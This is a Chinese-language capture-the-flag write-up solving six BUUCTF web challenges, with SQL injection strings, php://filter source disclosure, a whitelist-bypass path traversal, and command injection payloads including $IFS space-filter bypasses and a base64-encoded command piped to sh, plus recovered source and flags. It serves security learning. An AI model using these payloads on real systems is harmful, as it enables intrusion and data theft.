目录
[[极客大挑战 2019]EasySQL 1](#[极客大挑战 2019]EasySQL 1)
[[极客大挑战 2019]Havefun 1](#[极客大挑战 2019]Havefun 1)
[[ACTF2020 新生赛]Include 1](#[ACTF2020 新生赛]Include 1)
[[HCTF 2018]WarmUp 1](#[HCTF 2018]WarmUp 1)
[[ACTF2020 新生赛]Exec 1](#[ACTF2020 新生赛]Exec 1)
[[GXYCTF2019]Ping Ping Ping 1](#[GXYCTF2019]Ping Ping Ping 1)
[极客大挑战 2019]EasySQL 1
SQL注入-联合查询


尝试注入

1' union select 1,2,3#

万能密码

1' or 1=1 #

[极客大挑战 2019]Havefun 1
GET传参
f12查看

需要cat变量接收参数
http://f69388b9-59e3-4ef1-a9c0-5ad629ced439.node5.buuoj.cn:81/?cat=dog

[ACTF2020 新生赛]Include 1
文件包含
检查网页代码


尝试
http://574cc90f-0dc1-4611-9988-d04ea3652e5e.node5.buuoj.cn:81/?file=php://input

文件包含直接读取的是文件,而不是文件源码,所以要想办法读取源码
php://filter/read=convert.base64-encode/resource=xxx.php
格式
可选参数,有read和write,字面意思就是读和写
过滤器。主要有四种:字符串过滤器,转换过滤器,压缩过滤器,加密过滤器。filter里可以用一或多个过滤器(中间用|隔开),这为解题提供了多种方法,灵活运用过滤器是解题的关键。这里的过滤器是把文件flag.php里的代码转换(convert)为base64编(encode)
必选参数,后面写要处理的文件名
这个方法可以读取代码
读取index.php代码
PG1ldGEgY2hhcnNldD0idXRmOCI+Cjw/cGhwCmVycm9yX3JlcG9ydGluZygwKTsKJGZpbGUgPSAkX0dFVFsiZmlsZSJdOwppZihzdHJpc3RyKCRmaWxlLCJwaHA6Ly9pbnB1dCIpIHx8IHN0cmlzdHIoJGZpbGUsInppcDovLyIpIHx8IHN0cmlzdHIoJGZpbGUsInBoYXI6Ly8iKSB8fCBzdHJpc3RyKCRmaWxlLCJkYXRhOiIpKXsKCWV4aXQoJ2hhY2tlciEnKTsKfQppZigkZmlsZSl7CglpbmNsdWRlKCRmaWxlKTsKfWVsc2V7CgllY2hvICc8YSBocmVmPSI/ZmlsZT1mbGFnLnBocCI+dGlwczwvYT4nOwp9Cj8+Cg==
base64解码
<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
exit('hacker!');
}
if($file){
include($file);
}else{
echo '<a href="?file=flag.php">tips</a>';
}
?>
一些协议被过滤
读取flag.php代码
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7NmI3MDhhYzktY2EyZi00MmZjLTg1MTQtYjIxMjA5MjY4NmNkfQo=
base64解码
<?php
echo "Can you find out the flag?";
//flag{6b708ac9-ca2f-42fc-8514-b212092686cd}
[HCTF 2018]WarmUp 1
详细解析
参考大佬文档
https://www.cnblogs.com/JYLuo/p/18931570
PHP,代码审计
检查源代码

访问source.php
显示,代码审计
php
<?php
highlight_file(__FILE__); //高亮显示
//定义一个名为 emmm 的类(类似 Java/C++ 中的类)
class emmm
{
// public:函数可以被外部访问。
// static:函数属于类本身,无需创建对象即可调用(如 emmm::checkFile())。
// 静态方法checkFile用于检查文件
// &$page:引用传递参数,直接修改原始变量的值(这里未实际修改)。
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; #白名单仅允许source.php、hint.php
if (! isset($page) || !is_string($page)) { #变量是否存在且不为NULL,变量是否为字符串类型
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) { #参数匹配白名单
return true;
}
//截断?后的内容再校验:比如page=source.php?xxx → 截断为source.php
//mb_substr()函数,截取 $page 从开头到 ? 之前的部分
//mb_strpos()函数,查找字符串中第一次出现 ? 的位置
//$page . '?' 在字符串末尾添加 ?,防止找不到 ? 时返回 NULL
//例如:$page = "source.php?xxx" → $_page = "source.php"
//如果截取后的内容在白名单中,允许访问。
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
// URL解码后再截断?校验:处理编码后的参数(比如%3F代替?)
// urldecode($page):对 URL 编码的字符串进行解码(例如 %20 → 空格)
$_page = urldecode($page);
// 再次截取解码后的字符串中 ? 之前的部分,检查是否在白名单中
# 例如:$page = "source.php%3Fxxx"(%3F 是 ? 的 URL 编码)→ 解码后 $_page = "source.php"
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
# 主程序:接收用户输入并包含文件
if (! empty($_REQUEST['file']) #file参数不为空
&& is_string($_REQUEST['file']) #file参数字符串类型
&& emmm::checkFile($_REQUEST['file']) #file参数通过checkFile校验
) {
include $_REQUEST['file']; // 校验通过则包含文件
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>`
访问hint.php
html
flag not here, and flag in ffffllllaaaagggg
编写Payload
html
http://f8be49f0-e64b-4584-8d55-48c2c40fdd71.node5.buuoj.cn:81/?file=hint.php?/../../../../ffffllllaaaagggg
拿到flag
详解1
1、为什么php后要加" ?"呢:
(1)为了应付上面的检查,不然它就会在ffffllllaaaagggg后面加一个?我们就无法通过检测 (2)为了应付include函数,如下
2、include函数解释(以下通过上面给的第一个payload加以解释)
第一步:绕过白名单
传进 file= 的是: hint.php?/../../../../ffffllllaaaagggg PHP 会提取 ? 前的部分(hint.php),发现它在白名单中,就放行了
第二步:PHP include 怎么处理这个路径?
include('hint.php?/../../../../ffffllllaaaagggg'); 这是 PHP 的语法
PHP 遇到
include("xxx?yyy")的时候, 只会 includexxx这个文件*,不会理会*?yyy。 所以,PHP 实际执行的是:include("hint.php");
到这里是读取 hint.php 并执行它
[ACTF2020 新生赛]Exec 1
命令执行+绕过

找flag

访问
html
127.0.0.1;cat /flag
html
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.033 ms
64 bytes from 127.0.0.1: seq=1 ttl=42 time=0.071 ms
64 bytes from 127.0.0.1: seq=2 ttl=42 time=0.070 ms
--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 0.033/0.058/0.071 ms
flag{0af9eb03-c848-493b-8897-93a60582c319}
[GXYCTF2019]Ping Ping Ping 1
代码执行+空格过滤绕过

尝试代码执行
html
http://c6012bec-78a8-4ec7-967a-c0caea509b4f.node5.buuoj.cn:81/?ip=127.0.0.1;ls

读文件index.php
html
http://c6012bec-78a8-4ec7-967a-c0caea509b4f.node5.buuoj.cn:81/?ip=127.0.0.1;cat%20index.php
输出:
html
/?ip= fxck your space!
猜测
目标网站是对空格进行了过滤
空格绕过方法
html
%20
%09
$IFS$9
${IFS}$9
{IFS}
IFS
html
http://c6012bec-78a8-4ec7-967a-c0caea509b4f.node5.buuoj.cn:81/?ip=127.0.0.1;cat$IFS$9index.php
查看网页源代码index.php
index.php,代码审计,绕过
php
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
# 过滤规则1:拦截特殊符号 + ASCII 0~31不可见字符
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
# 过滤规则2:单独拦截纯空格(补充规则1的遗漏)
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
# 过滤规则3:拦截包含"bash"的字符串(仅拦bash,不拦其他shell)
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
# 过滤规则4:拦截按顺序包含f→l→a→g的字符串
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
flag也被过滤了
大小写,base64编码,分段拼接被过滤
思路
- 通过变量实现字符串拼接
php
?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php

- sh命令执行(bash被过滤)
注:sh是linux中运行shell的命令,bash相当于sh的升级版,sh∈bash
php
cat flag.php进行base64编码
Y2F0IGZsYWcucGhw
通过echo输出编码后的字符串
经base64 -d解码还原成原命令
最后交给 sh 执行
?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh
成功获取flag
3. 内联执行(大佬操作)
内联,就是将反引号内命令的输出作为输入执行
先执行反引号内的ls命令,将其输出作为cat的参数
php
?ip=127.0.0.1;cat$IFS$9`ls`
